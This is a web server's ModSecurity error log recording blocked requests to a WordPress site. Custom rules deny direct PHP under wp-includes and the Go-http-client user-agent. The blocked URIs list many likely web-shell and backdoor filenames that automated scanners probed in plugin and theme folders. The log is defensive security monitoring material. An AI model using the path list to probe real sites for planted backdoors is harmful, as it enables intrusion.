[Sun May 24 18:50:31.740874 2026] [:error] [pid 49775:tid 49792] [client 203.25.124.54:34041] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/column/classwithtostring.php"] [unique_id "ahLX94vZb8G6T8WpI1ieNQAAAA8"]
[Sun May 24 18:50:33.025997 2026] [:error] [pid 49744:tid 49749] [client 212.32.76.9:27847] [client 212.32.76.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/parts/"] [unique_id "ahLX-TsE5kPdFpUbbHHTVQAAAMM"]
[Sun May 24 18:50:34.134614 2026] [:error] [pid 4777:tid 4784] [client 203.25.124.58:38177] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-cache-sys/file.php"] [unique_id "ahLX-vtPctoQOm4w5pN60wAAAcI"]
[Sun May 24 18:50:35.434862 2026] [:error] [pid 4777:tid 4805] [client 203.25.124.215:35677] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/chillbud/inc/content/templates/"] [unique_id "ahLX-_tPctoQOm4w5pN61gAAAdc"]
[Sun May 24 18:50:36.639399 2026] [:error] [pid 4777:tid 4792] [client 203.25.124.49:28043] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/revslider/admin/assets/js/plugins/admin.php"] [unique_id "ahLX_PtPctoQOm4w5pN62QAAAco"]
[Sun May 24 18:50:37.026451 2026] [:error] [pid 4777:tid 4794] [client 203.25.124.2:47749] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-load.php"] [unique_id "ahLX_ftPctoQOm4w5pN63AAAAcw"]
[Sun May 24 18:50:43.537360 2026] [:error] [pid 49688:tid 49707] [client 203.25.124.65:44529] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/js_composer/assets/lib/bower/nivoslider/themes/module.php"] [unique_id "ahLYA2YoQ9V6a_4pBsixnAAAAFA"]
[Sun May 24 18:50:45.828036 2026] [:error] [pid 49775:tid 49782] [client 203.25.124.36:65157] [client 203.25.124.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/wp-conflg.php"] [unique_id "ahLYBYvZb8G6T8WpI1iePAAAAAU"]
[Sun May 24 18:50:47.334892 2026] [:error] [pid 2639:tid 2661] [client 203.25.124.64:24831] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/js_composer/include/classes/vendors/plugins/login.php"] [unique_id "ahLYB0zQncQTd0Z0Oe9xMgAAARQ"]
[Sun May 24 18:50:49.221672 2026] [:error] [pid 49689:tid 49721] [client 203.25.124.67:35033] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/api.php"] [unique_id "ahLYCQaxiY3NxLUD97V3wwAAAIM"]
[Sun May 24 18:50:51.235804 2026] [:error] [pid 49775:tid 49778] [client 203.25.124.33:44099] [client 203.25.124.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/wp-load.php"] [unique_id "ahLYC4vZb8G6T8WpI1ieQgAAAAE"]
[Sun May 24 18:51:03.433682 2026] [:error] [pid 41708:tid 41716] [client 212.32.76.9:40157] [client 212.32.76.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/js_composer/assets/lib/vc_chart/"] [unique_id "ahLYF_4tQzoTxpuHBF7O7AAAAYY"]
[Sun May 24 18:51:09.638754 2026] [:error] [pid 23497:tid 23503] [client 203.25.124.213:40723] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/js_composer/assets/lib/vc_chart/about.php"] [unique_id "ahLYHSPlV47QcYwd2v_94wAAAUM"]
[Sun May 24 18:51:11.524181 2026] [:error] [pid 2639:tid 2660] [client 212.32.76.13:24409] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/the-events-calendar/common/vendor/vendor-prefixed/monolog/monolog/about.php"] [unique_id "ahLYH0zQncQTd0Z0Oe9xUgAAARM"]
[Sun May 24 18:51:12.433326 2026] [:error] [pid 49744:tid 49761] [client 203.25.124.36:42277] [client 203.25.124.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/essential-grid/public/assets/font/fontello/css/about.php"] [unique_id "ahLYIDsE5kPdFpUbbHHTawAAAM8"]
[Sun May 24 18:51:13.133403 2026] [:error] [pid 49744:tid 49768] [client 203.25.124.58:62723] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/yosxb.php"] [unique_id "ahLYITsE5kPdFpUbbHHTbAAAANY"]
[Sun May 24 18:51:14.033124 2026] [:error] [pid 4777:tid 4791] [client 212.32.76.5:59803] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/222.php"] [unique_id "ahLYIvtPctoQOm4w5pN7CwAAAck"]
[Sun May 24 18:51:14.930538 2026] [:error] [pid 23497:tid 23513] [client 212.32.76.7:49227] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-directory/"] [unique_id "ahLYIiPlV47QcYwd2v_98AAAAU0"]
[Sun May 24 18:51:16.138139 2026] [:error] [pid 23497:tid 23515] [client 203.25.124.55:58801] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentynineteen/sass/forms/"] [unique_id "ahLYJCPlV47QcYwd2v_99gAAAU8"]
[Sun May 24 18:51:16.529376 2026] [:error] [pid 23497:tid 23519] [client 203.25.124.55:46371] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/mmm.php"] [unique_id "ahLYJCPlV47QcYwd2v_99wAAAVM"]
[Sun May 24 18:51:17.532861 2026] [:error] [pid 49744:tid 49755] [client 203.25.124.65:25283] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/widgets-form-function.php"] [unique_id "ahLYJTsE5kPdFpUbbHHTdwAAAMk"]
[Sun May 24 18:51:18.529750 2026] [:error] [pid 4777:tid 4796] [client 212.32.76.2:31365] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/true.php"] [unique_id "ahLYJvtPctoQOm4w5pN7FQAAAc4"]
[Sun May 24 18:51:19.438334 2026] [:error] [pid 23497:tid 23514] [client 212.32.76.11:43573] [client 212.32.76.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Proxy/"] [unique_id "ahLYJyPlV47QcYwd2v_9_gAAAU4"]
[Sun May 24 18:51:25.532950 2026] [:error] [pid 23497:tid 23517] [client 203.25.124.212:22571] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/177.php"] [unique_id "ahLYLSPlV47QcYwd2v_-DAAAAVE"]
[Sun May 24 18:51:26.427187 2026] [:error] [pid 49688:tid 49704] [client 212.32.76.14:27875] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/doc.php"] [unique_id "ahLYLmYoQ9V6a_4pBsixuAAAAE0"]
[Sun May 24 18:51:27.544032 2026] [:error] [pid 41708:tid 41722] [client 203.25.124.2:28553] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/mariju.php"] [unique_id "ahLYL_4tQzoTxpuHBF7O9wAAAYw"]
[Sun May 24 18:51:32.937471 2026] [:error] [pid 49688:tid 49691] [client 203.25.124.41:63837] [client 203.25.124.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/site-title-restful.php"] [unique_id "ahLYNGYoQ9V6a_4pBsixwgAAAEA"]
[Sun May 24 18:51:33.932586 2026] [:error] [pid 4777:tid 4783] [client 203.25.124.212:56963] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/options-discussion-statement.php"] [unique_id "ahLYNftPctoQOm4w5pN7HwAAAcE"]
[Sun May 24 18:51:35.028156 2026] [:error] [pid 49744:tid 49768] [client 203.25.124.55:27525] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/xmrlpc.php"] [unique_id "ahLYNzsE5kPdFpUbbHHTgQAAANY"]
[Sun May 24 18:51:35.925702 2026] [:error] [pid 41708:tid 41733] [client 212.32.76.7:24839] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/connects.php"] [unique_id "ahLYN_4tQzoTxpuHBF7PBQAAAZc"]
[Sun May 24 18:51:36.828701 2026] [:error] [pid 4777:tid 4789] [client 212.32.76.12:31815] [client 212.32.76.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/well-known/acme-challenge/g/assets/msbp/admin.php"] [unique_id "ahLYOPtPctoQOm4w5pN7IgAAAcc"]
[Sun May 24 18:51:37.924650 2026] [:error] [pid 49744:tid 49766] [client 203.25.124.73:62337] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/upload.php"] [unique_id "ahLYOTsE5kPdFpUbbHHTgwAAANQ"]
[Sun May 24 18:51:39.227196 2026] [:error] [pid 23497:tid 23506] [client 203.25.124.42:54787] [client 203.25.124.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp/content/aswfy/admin.php"] [unique_id "ahLYOyPlV47QcYwd2v_-EQAAAUY"]
[Sun May 24 18:51:40.226512 2026] [:error] [pid 49744:tid 49759] [client 203.25.124.68:35249] [client 203.25.124.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/rute.php"] [unique_id "ahLYPDsE5kPdFpUbbHHTigAAAM0"]
[Sun May 24 18:51:41.334585 2026] [:error] [pid 4777:tid 4805] [client 203.25.124.35:44985] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/htt.php"] [unique_id "ahLYPftPctoQOm4w5pN7JgAAAdc"]
[Sun May 24 18:51:45.826564 2026] [:error] [pid 23497:tid 23500] [client 212.32.76.5:52057] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-pagination/yosxb.php"] [unique_id "ahLYQSPlV47QcYwd2v_-IQAAAUA"]
[Sun May 24 18:51:47.036554 2026] [:error] [pid 23497:tid 23513] [client 203.25.124.32:60575] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ezra-backup/"] [unique_id "ahLYQyPlV47QcYwd2v_-JgAAAU0"]
[Sun May 24 18:51:48.835984 2026] [:error] [pid 49775:tid 49800] [client 203.25.124.64:48359] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/custom-cms/"] [unique_id "ahLYRIvZb8G6T8WpI1ieWwAAABc"]
[Sun May 24 18:51:50.944636 2026] [:error] [pid 49689:tid 49718] [client 203.25.124.39:54987] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/default/"] [unique_id "ahLYRgaxiY3NxLUD97V32QAAAIA"]
[Sun May 24 18:51:57.826610 2026] [:error] [pid 4777:tid 4788] [client 203.25.124.39:20419] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/okbkh/content-"] [unique_id "ahLYTftPctoQOm4w5pN7MQAAAcY"]
[Sun May 24 18:51:58.730612 2026] [:error] [pid 49688:tid 49697] [client 203.25.124.54:25827] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/simple.php"] [unique_id "ahLYTmYoQ9V6a_4pBsix0wAAAEY"]
[Sun May 24 18:51:59.436546 2026] [:error] [pid 4777:tid 4799] [client 203.25.124.40:58151] [client 203.25.124.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/simple.php"] [unique_id "ahLYT_tPctoQOm4w5pN7NAAAAdE"]
[Sun May 24 18:52:00.638685 2026] [:error] [pid 23497:tid 23513] [client 203.25.124.33:26361] [client 203.25.124.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/simple.php"] [unique_id "ahLYUCPlV47QcYwd2v_-LgAAAU0"]
[Sun May 24 18:52:01.733306 2026] [:error] [pid 23497:tid 23511] [client 212.32.76.14:53303] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/css/wp-conflg.php"] [unique_id "ahLYUSPlV47QcYwd2v_-MAAAAUs"]
[Sun May 24 18:52:02.730230 2026] [:error] [pid 23497:tid 23514] [client 212.32.76.12:38739] [client 212.32.76.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/img/bg/chosen.php"] [unique_id "ahLYUiPlV47QcYwd2v_-MgAAAU4"]
[Sun May 24 18:52:05.428703 2026] [:error] [pid 2639:tid 2651] [client 203.25.124.48:27845] [client 203.25.124.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/chosen.php"] [unique_id "ahLYVUzQncQTd0Z0Oe9xagAAAQo"]
[Sun May 24 18:52:06.427533 2026] [:error] [pid 41708:tid 41734] [client 203.25.124.2:27059] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ashyihk.php"] [unique_id "ahLYVv4tQzoTxpuHBF7PKwAAAZg"]
[Sun May 24 18:52:12.227498 2026] [:error] [pid 4777:tid 4790] [client 212.32.76.8:41731] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "ahLYXPtPctoQOm4w5pN7RAAAAcg"]
[Sun May 24 18:52:13.137611 2026] [:error] [pid 4777:tid 4787] [client 203.25.124.51:32059] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/about.php"] [unique_id "ahLYXftPctoQOm4w5pN7RgAAAcU"]
[Sun May 24 18:52:15.034635 2026] [:error] [pid 4777:tid 4806] [client 203.25.124.49:56727] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/cache/tmp/dofault.php"] [unique_id "ahLYX_tPctoQOm4w5pN7SAAAAdg"]
[Sun May 24 18:52:16.630149 2026] [:error] [pid 23497:tid 23512] [client 203.25.124.49:37829] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/parts/"] [unique_id "ahLYYCPlV47QcYwd2v_-RwAAAUw"]
[Sun May 24 18:52:17.439391 2026] [:error] [pid 4777:tid 4798] [client 203.25.124.72:44517] [client 203.25.124.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/file.php"] [unique_id "ahLYYftPctoQOm4w5pN7SgAAAdA"]
[Sun May 24 18:52:23.429887 2026] [:error] [pid 4777:tid 4793] [client 212.32.76.14:32113] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/database/database.php"] [unique_id "ahLYZ_tPctoQOm4w5pN7VQAAAcs"]
